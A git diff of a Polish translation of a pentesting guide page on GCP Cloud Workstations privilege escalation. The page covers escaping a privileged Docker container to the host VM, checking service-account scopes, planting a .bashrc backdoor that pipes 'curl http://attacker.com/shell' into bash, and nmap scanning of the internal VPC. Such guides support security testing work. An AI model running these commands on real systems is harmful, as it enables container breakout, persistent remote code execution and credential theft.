diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md
index c333cee1c..b15def732 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md
@@ -1,18 +1,19 @@
 # GCP - Cloud Workstations Privesc
 
+{{#include ../../../banners/hacktricks-training.md}}
 
 ### Container Breakout via Docker Socket (Container -> VM -> Project)
 
-Główny wektor privilege escalation w Cloud Workstations wynika z potrzeby wsparcia Docker-in-Docker (DinD) workflows dla deweloperów. Kiedy konfiguracja workstation montuje Docker socket lub pozwala na privileged containers (częsta konfiguracja), atakujący wewnątrz workstation container może uciec do leżącego poniżej Compute Engine VM i ukraść jego service account token.
+Główna ścieżka eskalacji uprawnień w Cloud Workstations wynika z potrzeby obsługi przepływów pracy **Docker-in-Docker (DinD)** dla deweloperów. Jeśli konfiguracja workstation montuje Docker socket lub zezwala na privileged containers (częsta konfiguracja), atakujący wewnątrz kontenera workstation może uciec do leżącej poniżej Compute Engine VM i ukraść jego service account token.
 
-**Prerequisites:**
-- Dostęp do terminala Cloud Workstation (przez SSH, skompromitowaną sesję lub skradzione credentials)
-- Konfiguracja workstation musi montować /var/run/docker.sock lub włączać privileged containers
+**Wymagania wstępne:**
+- Dostęp do terminala Cloud Workstation (poprzez SSH, przejętą sesję lub skradzione poświadczenia)
+- Konfiguracja workstation musi zamontować `/var/run/docker.sock` lub włączyć privileged containers
 
-**Architecture context:** Workstation to container (Layer 3) uruchomiony na Docker/Containerd runtime (Layer 2) na GCE VM (Layer 1). Docker socket daje bezpośredni dostęp do host's container runtime.
+**Kontekst architektury:** workstation to kontener (Warstwa 3) działający na runtime Docker/Containerd (Warstwa 2) na GCE VM (Warstwa 1). Docker socket daje bezpośredni dostęp do runtime'u kontenerów hosta.
 
 > [!NOTE]
-> The tool [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automates the full container escape and drops you into a root shell on the host VM.
+> Narzędzie [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automatyzuje pełne container escape i uruchamia powłokę roota na hoście VM.
 
 <details>
 
@@ -28,7 +29,7 @@ ls -l /var/run/docker.sock
 
 <summary>Krok 2: Ucieczka do systemu plików hosta VM</summary>
 
-Uruchamiamy uprzywilejowany kontener, montując katalog root hosta do `/mnt/host`. Dzielimy także przestrzeń nazw sieci i PID hosta, aby zmaksymalizować widoczność.
+Uruchamiamy privileged container, montując katalog główny hosta w `/mnt/host`. Udostępniamy także sieć hosta i PID namespace, aby zmaksymalizować widoczność.
 ```bash
 # Spawn a privileged container mounting the host's root filesystem
 docker run -it --rm --privileged --net=host --pid=host \
@@ -38,7 +39,7 @@ alpine sh
 # Inside the new container, chroot into the host
 chroot /mnt/host /bin/bash
 ```
-Masz teraz **root shell on the underlying Compute Engine VM** (Layer 1).
+Masz teraz **root shell on the underlying Compute Engine VM** (Warstwa 1).
 
 </details>
 
@@ -62,7 +63,7 @@ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scop
 
 > [!CAUTION]
 > **Sprawdź zakresy!**
-> Nawet jeśli przypisany Service Account ma rolę **Editor**, VM może być ograniczony przez zakresy dostępu.
+> Nawet jeśli dołączony Service Account ma rolę **Editor**, VM może być ograniczony przez zakresy dostępu.
 > Jeśli widzisz `https://www.googleapis.com/auth/cloud-platform`, masz pełny dostęp.
 > Jeśli widzisz tylko `logging.write` i `monitoring.write`, jesteś ograniczony do wektorów **Network Pivot** i **Persistence** poniżej.
 
@@ -70,7 +71,7 @@ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scop
 
 <summary>Krok 4: Achieve Persistence (Backdoor the User)</summary>
 
-Cloud Workstations montują trwały dysk pod `/home/user`. Ponieważ użytkownik kontenera (zwykle `user`, UID 1000) odpowiada użytkownikowi hosta (UID 1000), możesz zapisywać do katalogu domowego hosta. Pozwala to na backdoor the environment nawet jeśli workstation container zostanie przebudowany.
+Cloud Workstations montują persistent disk do `/home/user`. Ponieważ użytkownik kontenera (zazwyczaj `user`, UID 1000) odpowiada użytkownikowi hosta (UID 1000), możesz zapisywać do katalogu domowego hosta. To pozwala backdoor the environment nawet jeśli kontener workstation zostanie odbudowany.
 ```bash
 # Check if you can write to the host's persistent home
 ls -la /mnt/host/home/user/
@@ -83,9 +84,9 @@ echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
 
 <details>
 
-<summary>Step 5: Network Pivot (Internal VPC Access)</summary>
+<summary>Krok 5: Network Pivot (Dostęp do wewnętrznego VPC)</summary>
 
-Ponieważ udostępniasz przestrzeń nazw sieci hosta (`--net=host`), jesteś teraz zaufanym węzłem w VPC. Możesz skanować wewnętrzne usługi, które umożliwiają dostęp w oparciu o IP whitelisting.
+Ponieważ współdzielisz przestrzeń nazw sieci hosta (`--net=host`), jesteś teraz zaufanym węzłem w VPC. Możesz skanować wewnętrzne usługi, które umożliwiają dostęp na podstawie IP whitelisting.
 ```bash
 # Install scanning tools on the host (if internet access allows)
 apk add nmap
@@ -94,3 +95,7 @@ apk add nmap
 nmap -sS -p 80,443,22 10.0.0.0/8
 ```
 </details>
+
+
+
+{{#include ../../../banners/hacktricks-training.md}}